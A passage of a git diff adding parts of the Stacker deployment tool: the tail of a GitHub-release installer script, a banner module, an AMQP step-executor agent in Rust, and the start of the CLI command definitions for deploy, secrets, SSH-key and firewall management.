's/.*"v?([^"]+)".*/\1/') + [ -n "$VERSION" ] || err "Could not determine latest version" + fi + echo "$VERSION" +} + +# ── Download & install ─────────────────────────────── + +download_and_install() { + local os arch version archive_name url tmpdir + + os=$(detect_os) + arch=$(detect_arch) + version=$(resolve_version) + + archive_name="stacker-v${version}-${arch}-${os}.tar.gz" + url="https://github.com/${REPO}/releases/download/v${version}/${archive_name}" + + info "Downloading stacker v${version} for ${os}/${arch}..." + info " ${url}" + + need curl + need tar + + tmpdir=$(mktemp -d) + trap 'rm -rf "$tmpdir"' EXIT + + curl -fsSL "$url" -o "${tmpdir}/${archive_name}" \ + || err "Download failed. Check the version exists: v${version}" + + tar -xzf "${tmpdir}/${archive_name}" -C "$tmpdir" \ + || err "Extraction failed" + + # Find the binary in the extracted archive + local bin_path + bin_path=$(find "$tmpdir" -name "$BINARY_NAME" -type f | head -1) + [ -n "$bin_path" ] || bin_path=$(find "$tmpdir" -name "stacker-cli" -type f | head -1) + [ -n "$bin_path" ] || err "Binary not found in archive" + + chmod +x "$bin_path" + + # Install + if [ -w "$INSTALL_DIR" ]; then + mv "$bin_path" "${INSTALL_DIR}/${BINARY_NAME}" + else + info "Installing to ${INSTALL_DIR} (requires sudo)..." + sudo mv "$bin_path" "${INSTALL_DIR}/${BINARY_NAME}" + fi + + ok "Installed stacker v${version} to ${INSTALL_DIR}/${BINARY_NAME}" +} + +# ── Verify install ─────────────────────────────────── + +verify() { + if command -v "$BINARY_NAME" >/dev/null 2>&1; then + ok "Verification: $($BINARY_NAME --version)" + else + info "Note: ${INSTALL_DIR} may not be in your PATH" + info " Add it: export PATH=\"${INSTALL_DIR}:\$PATH\"" + fi +} + +# ── Parse args ─────────────────────────────────────── + +while [ $# -gt 0 ]; do + case "$1" in + --channel) CHANNEL="$2"; shift 2 ;; + --version) VERSION="$2"; shift 2 ;; + --dir) INSTALL_DIR="$2"; shift 2 ;; + --help|-h) + echo "Usage: install.sh [--channel stable|beta] [--version X.Y.Z] [--dir /path]" + exit 0 + ;; + *) err "Unknown option: $1" ;; + esac +done + +# ── Main ───────────────────────────────────────────── + +info "Stacker CLI installer" +info " Channel: ${CHANNEL}" +info " Install dir: ${INSTALL_DIR}" +echo "" + +download_and_install +verify + +echo "" +ok "Done! Run 'stacker --help' to get started." diff --git a/stacker/stacker/src/banner.rs b/stacker/stacker/src/banner.rs new file mode 100644 index 0000000..bbd5c30 --- /dev/null +++ b/stacker/stacker/src/banner.rs @@ -0,0 +1,64 @@ +/// Display a banner with version and useful information +pub fn print_banner() { + let version = env!("CARGO_PKG_VERSION"); + let name = env!("CARGO_PKG_NAME"); + + let banner = format!( + r#" + _ | | + ___ _| |_ _____ ____| | _ _____ ____ + /___|_ _|____ |/ ___) |_/ ) ___ |/ ___) +|___ | | |_/ ___ ( (___| _ (| ____| | +(___/ \__)_____|\____)_| \_)_____)_| + +────────────────────────────────────────── + {} + Version: {} + Build: {} + Edition: {} +───────────────────────────────────────── + +"#, + capitalize(name), + version, + env!("CARGO_PKG_VERSION"), + "2021" + ); + + println!("{}", banner); +} + +/// Display startup information +pub fn print_startup_info(host: &str, port: u16) { + let info = format!( + r#" +📋 Configuration Loaded + 🌐 Server Address: http://{}:{} + 📦 Ready to accept connections + +"#, + host, port + ); + + println!("{}", info); +} + +fn capitalize(s: &str) -> String { + let mut chars = s.chars(); + match chars.next() { + None => String::new(), + Some(first) => first.to_uppercase().collect::() + chars.as_str(), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_capitalize() { + assert_eq!(capitalize("stacker"), "Stacker"); + assert_eq!(capitalize("hello"), "Hello"); + assert_eq!(capitalize(""), ""); + } +} diff --git a/stacker/stacker/src/bin/agent_executor.rs b/stacker/stacker/src/bin/agent_executor.rs new file mode 100644 index 0000000..4953053 --- /dev/null +++ b/stacker/stacker/src/bin/agent_executor.rs @@ -0,0 +1,289 @@ +//! Agent Executor — standalone AMQP consumer for pipe/DAG step execution. +//! +//! Receives `StepCommand` messages from Stacker via RabbitMQ, executes steps +//! using the shared step_executor module (no DB dependencies), and publishes +//! `StepResultMsg` back. Includes in-memory circuit breaker + exponential backoff. +//! +//! Usage: +//! agent-executor --amqp-url amqp://guest:guest@localhost:5672 --deployment-hash deploy-abc + +use chrono::Utc; +use clap::Parser; +use futures_lite::stream::StreamExt; +use lapin::options::*; +use lapin::types::FieldTable; +use lapin::{BasicProperties, Channel, Connection, ConnectionProperties, ExchangeKind}; +use std::sync::Arc; +use std::time::Instant; +use tokio::signal; +use tokio::sync::Notify; +use tracing::{error, info}; + +use stacker::models::agent_protocol::{routing, StepCommand, StepResultMsg, StepStatus}; +use stacker::services::resilience_engine::{ + execute_with_resilience, CircuitBreakerConfig, InMemoryCircuitBreaker, +}; + +#[derive(Parser, Debug)] +#[command(name = "agent-executor", about = "Pipe step executor agent")] +struct Args { + /// AMQP connection URL + #[arg( + long, + env = "AMQP_URL", + default_value = "amqp://guest:guest@localhost:5672" + )] + amqp_url: String, + + /// Deployment hash to scope this executor to + #[arg(long, env = "DEPLOYMENT_HASH")] + deployment_hash: String, + + /// Channel prefetch count (QoS) + #[arg(long, default_value = "10")] + prefetch: u16, +} + +#[tokio::main] +async fn main() -> Result<(), Box> { + // Initialize tracing + tracing_subscriber::fmt() + .with_env_filter( + tracing_subscriber::EnvFilter::try_from_default_env() + .unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info")), + ) + .init(); + + let args = Args::parse(); + info!( + deployment_hash = %args.deployment_hash, + prefetch = args.prefetch, + "Starting agent-executor" + ); + + // Connect to RabbitMQ + let conn = Connection::connect(&args.amqp_url, ConnectionProperties::default()).await?; + info!("Connected to AMQP broker"); + + let channel = conn.create_channel().await?; + + // Declare exchange + channel + .exchange_declare( + routing::EXCHANGE, + ExchangeKind::Topic, + ExchangeDeclareOptions { + durable: true, + ..Default::default() + }, + FieldTable::default(), + ) + .await?; + + // Declare durable queue for this deployment + let queue_name = routing::agent_queue(&args.deployment_hash); + channel + .queue_declare( + &queue_name, + QueueDeclareOptions { + durable: true, + ..Default::default() + }, + FieldTable::default(), + ) + .await?; + + // Bind to execute routing key + let routing_key = routing::execute_key(&args.deployment_hash); + channel + .queue_bind( + &queue_name, + routing::EXCHANGE, + &routing_key, + QueueBindOptions::default(), + FieldTable::default(), + ) + .await?; + + // Set QoS + channel + .basic_qos(args.prefetch, BasicQosOptions::default()) + .await?; + + info!(queue = %queue_name, routing_key = %routing_key, "Listening for step commands"); + + // Create publish channel (separate from consume channel) + let publish_channel = conn.create_channel().await?; + let publish_channel = Arc::new(publish_channel); + + // Circuit breaker (in-memory, per-process) + let circuit_breaker = Arc::new(tokio::sync::Mutex::new(InMemoryCircuitBreaker::new( + CircuitBreakerConfig { + failure_threshold: 5, + recovery_timeout: std::time::Duration::from_secs(30), + half_open_max_requests: 2, + }, + ))); + + // Graceful shutdown + let shutdown = Arc::new(Notify::new()); + let shutdown_clone = shutdown.clone(); + tokio::spawn(async move { + let _ = signal::ctrl_c().await; + info!("Received shutdown signal"); + shutdown_clone.notify_one(); + }); + + // Start consuming + let mut consumer = channel + .basic_consume( + &queue_name, + &format!("agent-executor-{}", &args.deployment_hash), + BasicConsumeOptions::default(), + FieldTable::default(), + ) + .await?; + + let result_routing_key = routing::result_key(&args.deployment_hash); + + loop { + tokio::select! { + _ = shutdown.notified() => { + info!("Shutting down gracefully"); + break; + } + delivery = consumer.next() => { + match delivery { + Some(Ok(delivery)) => { + let payload = delivery.data.clone(); + let pub_ch = publish_channel.clone(); + let result_rk = result_routing_key.clone(); + let cb = circuit_breaker.clone(); + + // Process in spawned task for concurrency + tokio::spawn(async move { + let result_msg = process_step(&payload, cb).await; + + // Publish result + if let Err(e) = publish_result(&pub_ch, routing::EXCHANGE, &result_rk, &result_msg).await { + error!(error = %e, "Failed to publish step result"); + } + + // ACK the delivery + if let Err(e) = delivery.ack(BasicAckOptions::default()).await { + error!(error = %e, "Failed to ACK delivery"); + } + }); + } + Some(Err(e)) => { + error!(error = %e, "Consumer error"); + break; + } + None => { + info!("Consumer stream ended"); + break; + } + } + } + } + } + + info!("Agent executor stopped"); + Ok(()) +} + +/// Process a single step command, returning the result message. +async fn process_step( + payload: &[u8], + circuit_breaker: Arc>, +) -> StepResultMsg { + let start = Instant::now(); + + // Deserialize command + let cmd: StepCommand = match serde_json::from_slice(payload) { + Ok(cmd) => cmd, + Err(e) => { + error!(error = %e, "Failed to deserialize StepCommand"); + return StepResultMsg { + execution_id: uuid::Uuid::nil(), + step_id: uuid::Uuid::nil(), + status: StepStatus::Failed, + output_data: None, + error: Some(format!("Deserialization error: {}", e)), + duration_ms: start.elapsed().as_millis() as i64, + timestamp: Utc::now(), + }; + } + }; + + info!( + execution_id = %cmd.execution_id, + step_id = %cmd.step_id, + step_type = %cmd.step_type, + step_name = %cmd.step_name, + "Processing step" + ); + + // Execute with resilience (retry + backoff + circuit breaker) + let retry_policy = cmd.retry_policy.clone().unwrap_or_default(); + + let mut cb = circuit_breaker.lock().await; + let result = execute_with_resilience( + &cmd.step_type, + &cmd.config, + &cmd.input_data, + &retry_policy, + &mut cb, + ) + .await; + drop(cb); + + let duration_ms = start.elapsed().as_millis() as i64; + + match result { + Ok(output) => { + info!( + execution_id = %cmd.execution_id, + step_id = %cmd.step_id, + duration_ms, + "Step completed successfully" + ); + StepResultMsg::success(cmd.execution_id, cmd.step_id, output, duration_ms) + } + Err(e) => { + error!( + execution_id = %cmd.execution_id, + step_id = %cmd.step_id, + error = %e, + duration_ms, + "Step failed after retries" + ); + StepResultMsg::failure(cmd.execution_id, cmd.step_id, e, duration_ms) + } + } +} + +/// Publish a StepResultMsg to the AMQP exchange. +async fn publish_result( + channel: &Channel, + exchange: &str, + routing_key: &str, + result: &StepResultMsg, +) -> Result<(), String> { + let payload = serde_json::to_vec(result).map_err(|e| format!("Serialize error: {}", e))?; + channel + .basic_publish( + exchange, + routing_key, + BasicPublishOptions::default(), + &payload, + BasicProperties::default() + .with_content_type("application/json".into()) + .with_delivery_mode(2), // persistent + ) + .await + .map_err(|e| format!("Publish error: {}", e))? + .await + .map_err(|e| format!("Confirm error: {}", e))?; + Ok(()) +} diff --git a/stacker/stacker/src/bin/stacker.rs b/stacker/stacker/src/bin/stacker.rs new file mode 100644 index 0000000..7ad19d4 --- /dev/null +++ b/stacker/stacker/src/bin/stacker.rs @@ -0,0 +1,2955 @@ +//! Standalone `stacker` CLI binary. +//! +//! Exposes the Stacker CLI commands directly at the top level: +//! +//! ```text +//! stacker init +//! stacker deploy --target local +//! stacker status +//! stacker logs --follow +//! stacker destroy --confirm +//! ``` +//! +//! Unlike the `console` binary (which nests these under `stacker` subcommand +//! alongside other admin tools), this binary is a lightweight entry point +//! designed for end-user distribution. + +use clap::{Args, CommandFactory, Parser, Subcommand}; +use stacker::console::commands::cli::secrets::RemoteSecretScope; + +fn print_banner() { + let version = env!("CARGO_PKG_VERSION"); + println!("============================================================"); + println!("stacker-cli v{}", version); + println!("Stacker CLI - build, deploy, and manage application stacks"); + println!("============================================================"); + println!(); + println!("Getting started:"); + println!(" 1) stacker-cli stacker login"); + println!(" 2) stacker-cli stacker init --with-cloud"); + println!(" 3) stacker-cli stacker deploy --target cloud"); + println!(" 4) stacker-cli stacker status --watch"); + println!(); + println!("Run `stacker-cli --help` to see all commands and options."); + println!(); +} + +#[derive(Parser, Debug)] +#[command( + name = "stacker", + version, + about = "Deploy apps from a stacker.yml config", + long_about = "Stacker CLI — build, deploy, and manage containerised applications\n\n\ + Create a stacker.yml configuration file, and Stacker will generate\n\ + Dockerfiles, docker-compose definitions, and deploy your stack locally\n\ + or to cloud providers with a single command.", + subcommand_required = false, + arg_required_else_help = false +)] +struct Cli { + #[command(subcommand)] + command: Option, +} + +#[derive(Debug, Subcommand)] +enum StackerCommands { + /// Authenticate with the TryDirect platform + Login { + /// Organisation slug (for multi-org accounts) + #[arg(long)] + org: Option, + /// Custom platform domain + #[arg(long)] + domain: Option, + /// User Service auth URL (or set STACKER_AUTH_URL) + #[arg(long = "auth-url")] + auth_url: Option, + /// Stacker API base URL (or set STACKER_URL) + #[arg(long = "server-url", visible_alias = "api-url")] + server_url: Option, + }, + /// Show the saved login and current project's recorded deploy identity + Whoami {}, + /// Initialize a new stacker project (generates stacker.yml + Dockerfile) + Init { + /// Application type: static, node, python, rust, go, php + #[arg(long, value_name = "TYPE")] + app_type: Option, + /// Include reverse-proxy configuration + #[arg(long)] + with_proxy: bool, + /// Use AI to scan the project and generate a tailored stacker.yml + #[arg(long)] + with_ai: bool, + /// Immediately run cloud setup wizard after init + #[arg(long)] + with_cloud: bool, + /// Set the active deployment target: local, cloud, server + #[arg(long, value_name = "TARGET")] + target: Option, + /// AI provider: openai, anthropic, ollama, custom (default: ollama) + #[arg(long, value_name = "PROVIDER")] + ai_provider: Option, + /// AI model name (e.g. gpt-4o, claude-sonnet-4-20250514, llama3) + #[arg(long, value_name = "MODEL")] + ai_model: Option, + /// AI API key (or set OPENAI_API_KEY / ANTHROPIC_API_KEY env var) + #[arg(long, value_name = "KEY")] + ai_api_key: Option, + }, + /// Build & deploy the stack + Deploy { + /// Deployment target: local, cloud, server + #[arg(long, value_name = "TARGET")] + target: Option, + /// Deploy environment/profile, e.g. development, staging, production + #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")] + environment: Option, + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + /// Show what would be deployed without executing + #[arg(long)] + dry_run: bool, + /// Force rebuild of all containers + #[arg(long)] + force_rebuild: bool, + /// Project name on the Stacker server (overrides project.identity in stacker.yml) + #[arg(long, value_name = "NAME")] + project: Option, + /// Name of saved cloud credential to reuse (overrides deploy.cloud.key in stacker.yml) + #[arg(long, value_name = "KEY_NAME")] + key: Option, + /// ID of saved cloud credential to reuse (from `stacker list clouds`) + #[arg(long, value_name = "CLOUD_ID")] + key_id: Option, + /// Name of saved server to reuse (overrides deploy.cloud.server in stacker.yml) + #[arg(long, value_name = "SERVER_NAME")] + server: Option, + /// Watch deployment progress until complete (default for cloud deploys) + #[arg(long)] + watch: bool, + /// Disable automatic progress watching after deploy + #[arg(long)] + no_watch: bool, + /// Persist server details into stacker.yml after deploy (for redeploy) + #[arg(long)] + lock: bool, + /// Skip server pre-check; force fresh cloud provision even if deploy.server exists + #[arg(long)] + force_new: bool, + /// Container runtime: "runc" (default) or "kata" for hardware-isolated containers + #[arg(long, value_name = "RUNTIME", default_value = "runc")] + runtime: String, + /// Print a read-only deployment plan instead of applying changes + #[arg(long)] + plan: bool, + /// Revalidate and apply a previously generated deployment plan fingerprint + #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")] + apply_plan: Option, + }, + /// Attach this directory to an existing deployment from the dashboard + Connect { + /// Handoff token or full handoff URL copied from the dashboard + #[arg(long, value_name = "TOKEN_OR_URL")] + handoff: String, + }, + /// Submit current stack to the marketplace for review + Submit { + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + /// Stack version (default: from stacker.yml or "1.0.0") + #[arg(long)] + version: Option, + /// Short description for marketplace listing + #[arg(long)] + description: Option, + /// Category code (e.g. ai-agents, data-pipelines, saas-starter) + #[arg(long)] + category: Option, + /// Pricing: free, one_time, subscription (default: free) + #[arg(long, value_name = "TYPE")] + plan_type: Option, + /// Price amount (required if plan_type is not free) + #[arg(long)] + price: Option, + }, + /// Show container logs + Logs { + /// Show logs for a specific service only + #[arg(long)] + service: Option, + /// Follow log output (stream) + #[arg(long, short)] + follow: bool, + /// Number of lines to show from the end + #[arg(long)] + tail: Option, + /// Show logs since timestamp (e.g. "2h", "2024-01-01") + #[arg(long)] + since: Option, + }, + /// Show deployment status + Status { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Watch for changes (refresh periodically) + #[arg(long)] + watch: bool, + }, + /// Deployment inspection commands + Deployment { + #[command(subcommand)] + command: DeploymentCommands, + }, + /// Explain path and topology decisions + Explain { + #[command(subcommand)] + command: ExplainCommands, + }, + /// Tear down the deployed stack + Destroy { + /// Also remove named volumes + #[arg(long)] + volumes: bool, + /// Skip confirmation prompt (required) + #[arg(long, short = 'y')] + confirm: bool, + }, + /// Roll back a marketplace deployment to a prior template version + Rollback { + /// Marketplace template version to redeploy + #[arg(long, value_name = "VERSION")] + version: String, + /// Skip confirmation prompt (required) + #[arg(long, short = 'y')] + confirm: bool, + }, + /// Configuration management + Config { + #[command(subcommand)] + command: ConfigCommands, + }, + /// AI-assisted operations — run `stacker ai` for interactive chat + Ai(AiArgs), + /// Reverse-proxy management + Proxy { + #[command(subcommand)] + command: ProxyCommands, + }, + /// List resources (projects, servers, ssh-keys) + List { + #[command(subcommand)] + command: ListCommands, + }, + /// SSH key management (generate, show, upload, repair) + #[command(long_about = "Manage Stacker server SSH keys.\n\n\ +Cloud deploys automatically create a local backup SSH key under the Stacker config directory and authorize it on the deployed server when possible. The `generate` command manages the server-side Vault key; `inject` repairs a server by using an already-working local private key to add the Vault public key.")] + #[command(name = "ssh-key")] + SshKey { + #[command(subcommand)] + command: SshKeyCommands, + }, + /// Service template management (add services to stacker.yml) + Service { + #[command(subcommand)] + command: ServiceCommands, + }, + /// Force-complete a stuck (paused/error) deployment + Resolve { + /// Skip confirmation prompt (required) + #[arg(long, short = 'y')] + confirm: bool, + /// Force-complete even if the deployment is in_progress + #[arg(long)] + force: bool, + /// Target a specific deployment by hash (e.g. deployment_ad479fdb-…); defaults to latest + #[arg(long)] + deployment: Option, + }, + /// Check for updates and self-update + Update { + /// Release channel: stable, beta + #[arg(long)] + channel: Option, + }, + /// Generate shell completion scripts + Completion { + /// Shell: bash, zsh, fish, elvish, powershell + #[arg(value_enum)] + shell: clap_complete::Shell, + }, + /// Manage local .env secrets and remote Vault-backed secrets + #[command( + long_about = "Manage secrets in two modes:\n\ +\n\ + Local mode (default)\n\ + Reads and writes a project .env file.\n\ +\n\ + Remote mode\n\ + Uses the authenticated Stacker API to manage Vault-backed secrets for a\n\ + service or a server. Remote reads are metadata-only in v1 and never return\n\ + plaintext secret values.\n\ +\n\ +Use explicit --scope service or --scope server to activate remote mode.", + after_help = "Examples:\n\ + Local .env secret:\n\ + stacker secrets set DB_PASSWORD=supersecret\n\ +\n\ + Service secret for one app:\n\ + stacker secrets set S3_SECRET_KEY --scope service --project blog --service uploader --body supersecret\n\ +\n\ + Server secret from a file:\n\ + stacker secrets set NPM_TOKEN --scope server --server-id 42 --body-file .npm-token\n\ +\n\ + List remote metadata as JSON:\n\ + stacker secrets list --scope service --project blog --service uploader --json" + )] + Secrets { + #[command(subcommand)] + command: SecretsCommands, + }, + /// CI/CD pipeline export and validation + Ci { + #[command(subcommand)] + command: CiCommands, + }, + /// Connect containerized apps with data pipes + Pipe { + #[command(subcommand)] + command: PipeCommands, + }, + /// Cloud provider operations + Cloud { + #[command(subcommand)] + command: CloudCommands, + }, + /// Status Panel agent control (health, logs, restart, deploy) + Agent { + #[command(subcommand)] + command: AgentCommands, + }, + /// Marketplace operations (submit, check status) + Marketplace { + #[command(subcommand)] + command: MarketplaceCommands, + }, + /// Switch or show the active deployment target (local, cloud, server) + Target { + /// Target to switch to: local, cloud, or server. Omit to show current. + target: Option, + }, + /// Switch or show the active deploy environment/profile + Env { + /// Environment to switch to. Omit to show current. + environment: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum CloudCommands { + /// Configure cloud provider firewall rules without SSH + Firewall { + #[command(subcommand)] + command: CloudFirewallCommands, + }, +} + +#[derive(Debug, Subcommand)] +enum CloudFirewallCommands { + /// Add cloud firewall rules + Add { + /// Server ID to configure + #[arg(long)] + server_id: Option, + /// Public ports (open to all), comma-separated: "80/tcp,443/tcp,53/udp" + #[arg(long, value_delimiter = ',')] + public_ports: Vec, + /// Private ports, comma-separated: "5432/tcp:10.0.0.0/8" + #[arg(long, value_delimiter = ',')] + private_ports: Vec, + /// Validate and enqueue without applying provider changes + #[arg(long)] + dry_run: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// Remove cloud firewall rules + Remove { + /// Server ID to configure + #[arg(long)] + server_id: Option, + /// Public ports (open to all), comma-separated: "80/tcp,443/tcp,53/udp" + #[arg(long, value_delimiter = ',')] + public_ports: Vec, + /// Private ports, comma-separated: "5432/tcp:10.0.0.0/8" + #[arg(long, value_delimiter = ',')] + private_ports: Vec, + /// Validate and enqueue without applying provider changes + #[arg(long)] + dry_run: bool, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// List cloud firewall rules + List { + /// Server ID to inspect + #[arg(long)] + server_id: Option, + /// Output in JSON format + #[arg(long)] + json: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum MarketplaceCommands { + /// Check submission status for your marketplace templates + Status { + /// Stack name to check (omit for all) + name: Option, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// Show review comments and history for a submission + Logs { + /// Stack name + name: String, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// Submit current stack to the marketplace for review + Submit { + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + /// Stack version (default: from stacker.yml or "1.0.0") + #[arg(long)] + version: Option, + /// Short description for marketplace listing + #[arg(long)] + description: Option, + /// Category code (e.g. ai-agents, data-pipelines, saas-starter) + #[arg(long)] + category: Option, + /// Pricing: free, one_time, subscription (default: free) + #[arg(long, value_name = "TYPE")] + plan_type: Option, + /// Price amount (required if plan_type is not free) + #[arg(long)] + price: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum ListCommands { + /// List all projects + Projects { + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// List deployments + Deployments { + /// Filter by project ID + #[arg(long)] + project: Option, + /// Limit number of results + #[arg(long)] + limit: Option, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// List all servers + Servers { + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// List SSH keys (per-server key status) + #[command(name = "ssh-keys")] + SshKeys { + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// List saved cloud credentials + Clouds { + /// Output in JSON format + #[arg(long)] + json: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum SshKeyCommands { + /// Generate a new SSH key pair for a server (stored in Vault) + Generate { + /// Server ID to generate the key for + #[arg(long)] + server_id: i32, + /// Save private key to this file (if Vault storage fails) + #[arg(long, value_name = "PATH")] + save_to: Option, + }, + /// Show the public SSH key for a server + Show { + /// Server ID to show the key for + #[arg(long)] + server_id: i32, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// Upload an existing SSH key pair for a server + Upload { + /// Server ID to upload the key for + #[arg(long)] + server_id: i32, + /// Path to public key file + #[arg(long, value_name = "FILE")] + public_key: std::path::PathBuf, + /// Path to private key file + #[arg(long, value_name = "FILE")] + private_key: std::path::PathBuf, + }, + /// Bootstrap the Vault-managed public key onto a server via an already-working SSH private key + #[command( + long_about = "Bootstrap the Vault-managed public key onto a server by logging in with an already-working SSH private key.\n\n\ +This command does not install your local key onto the server. Instead, it uses --with-key as a bootstrap credential, connects to the server, and appends the Vault-stored public key to ~/.ssh/authorized_keys.\n\n\ +Use this when Stacker already has a key for the server in Vault, but the server no longer trusts that key. If you want Stacker to use your local key pair, use `stacker ssh-key upload` instead." + )] + Inject { + /// Server ID whose Vault public key should be injected + #[arg(long)] + server_id: i32, + /// Path to a bootstrap private key that already grants SSH access to the server + #[arg(long, value_name = "FILE")] + with_key: std::path::PathBuf, + /// SSH user on the remote server (default: root) + #[arg(long)] + user: Option, + /// SSH port override (default: server's stored port or 22) + #[arg(long)] + port: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum ServiceCommands { + /// Add a service from the template catalog to stacker.yml (interactive picker when no name given) + Add { + /// Service name (e.g. postgres, redis, wordpress, mysql) — omit for interactive picker + name: Option, + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Import custom services from a local Docker Compose file after a safety review + Import { + /// Target custom service name for a single selected service + name: String, + /// Local Docker Compose file to review and import + #[arg(long, value_name = "PATH")] + from_compose: Option, + /// Planned future source; currently returns a safe not-yet-implemented error + #[arg(long, value_name = "OWNER/REPO")] + from_github: Option, + /// Planned future source; currently returns a safe not-yet-implemented error + #[arg(long, value_name = "URL")] + from_url: Option, + /// Compose service name to import. Omit to import all image-backed services. + #[arg(long, value_name = "COMPOSE_SERVICE")] + service: Option, + /// Rename imported services as old=new. Repeat for multiple services. + #[arg(long, value_name = "OLD=NEW")] + rename: Vec, + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + /// Review only; do not write stacker.yml + #[arg(long)] + review: bool, + /// Skip confirmation prompt and write after review + #[arg(long, short = 'y')] + yes: bool, + /// Output structured JSON with secret-like environment values redacted + #[arg(long)] + json: bool, + }, + /// Deploy/update a configured service through the remote app deploy path + Deploy { + /// Service name from stacker.yml to deploy + name: String, + /// Force recreate the remote container + #[arg(long)] + force: bool, + /// Container runtime: "runc" (default) or "kata" + #[arg(long, default_value = "runc")] + runtime: String, + /// Output in JSON format + #[arg(long)] + json: bool, + /// Deployment hash + #[arg(long)] + deployment: Option, + /// Deploy environment/profile, e.g. local, dev, prod + #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")] + environment: Option, + /// Print a read-only deploy-app plan instead of applying changes + #[arg(long)] + plan: bool, + /// Revalidate and apply a previously generated deploy-app plan fingerprint + #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")] + apply_plan: Option, + }, + /// Remove a service from stacker.yml + Remove { + /// Service name to remove + name: String, + /// Path to stacker.yml (default: ./stacker.yml) + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// List available service templates + List { + /// Also query the marketplace API for online templates + #[arg(long)] + online: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum DeploymentCommands { + /// Show canonical deployment state + State { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Override deployment hash instead of using stacker.yml + #[arg(long)] + deployment: Option, + }, + /// Show structured deployment events + Events { + /// Output in JSON format + #[arg(long)] + json: bool, + /// Override deployment hash instead of using stacker.yml + #[arg(long)] + deployment: Option, + }, + /// Preview or apply a deployment rollback + Rollback { + /// Roll back to `previous` or a specific marketplace template version + #[arg(long, value_name = "TARGET")] + to: String, + /// Print a read-only rollback plan instead of applying it + #[arg(long, conflicts_with = "apply_plan")] + plan: bool, + /// Revalidate and apply a previously generated rollback plan fingerprint + #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")] + apply_plan: Option, + /// Override deployment hash instead of using stacker.yml + #[arg(long)] + deployment: Option, + /// Confirm rollback apply + #[arg(long, short = 'y')] + confirm: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum ExplainCommands { + /// Explain env provenance for an app or service + Env { + /// App code or service name + app: String, + /// Output in JSON format + #[arg(long)] + json: bool, + }, + /// Explain compose/env topology for the current target + Topology { + /// Output in JSON format + #[arg(long)] + json: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum ConfigCommands { + /// Validate stacker.yml syntax and semantics + Validate { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Show resolved configuration + Show { + #[arg(long, value_name = "FILE")] + file: Option, + /// Show paths, hash/version metadata, and contributing layers without values + #[arg(long)] + resolved: bool, + }, + /// Print a full commented `stacker.yml` reference example + Example, + /// Interactively fix missing required config fields + Fix { + #[arg(long, value_name = "FILE")] + file: Option, + /// Enable interactive prompts (default: true) + #[arg(long, default_value_t = true)] + interactive: bool, + }, + /// Persist deployment lock into stacker.yml (writes deploy.server from last deploy) + Lock { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Remove deploy.server section from stacker.yml (allows fresh cloud provision) + Unlock { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Guided setup helpers + Setup { + #[command(subcommand)] + command: ConfigSetupCommands, + }, +} + +#[derive(Debug, Subcommand)] +enum ConfigSetupCommands { + /// Configure cloud deployment defaults in stacker.yml + Cloud { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Configure AI defaults in stacker.yml + Ai { + #[arg(long, value_name = "FILE")] + file: Option, + /// AI provider: openai, anthropic, ollama, custom + #[arg(long, value_name = "PROVIDER")] + provider: Option, + /// AI endpoint, e.g. http://localhost:11434 for Ollama + #[arg(long, value_name = "URL")] + endpoint: Option, + /// AI model name, e.g. llama3.1 + #[arg(long, value_name = "MODEL")] + model: Option, + /// AI request timeout in seconds + #[arg(long, value_name = "SECONDS")] + timeout: Option, + /// AI task name. Repeat or use comma-separated values. + #[arg(long = "task", value_name = "TASK")] + tasks: Vec, + }, + /// Advanced/debug: generate remote orchestrator payload and wire stacker.yml + RemotePayload { + #[arg(long, value_name = "FILE")] + file: Option, + #[arg(long, value_name = "OUT")] + out: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum SecretsCommands { + /// Set or update a local .env secret or remote Vault-backed secret + #[command(after_help = "Examples:\n\ + Local .env secret:\n\ + stacker secrets set DB_PASSWORD=supersecret\n\ +\n\ + Remote deployable service/app target secret (project.identity from stacker.yml):\n\ + stacker secrets set S3_SECRET_KEY --service uploader --body supersecret\n\ +\n\ + Use the target code listed by `stacker secrets apps` for --service.\n\ +\n\ + Remote server secret from stdin:\n\ + cat token.txt | stacker secrets set NPM_TOKEN --scope server --server-id 42\n\ +\n\ + Status Panel Nginx Proxy Manager credentials from a JSON file:\n\ + stacker secrets set npm_credentials --scope server --server-id 42 --body-file ./npm_credentials.json")] + Set { + /// Local mode: KEY=VALUE. Remote mode: secret name. + input: String, + /// Path to .env file (default: from stacker.yml env_file, or .env) + #[arg( + long, + value_name = "FILE", + conflicts_with_all = ["scope", "project", 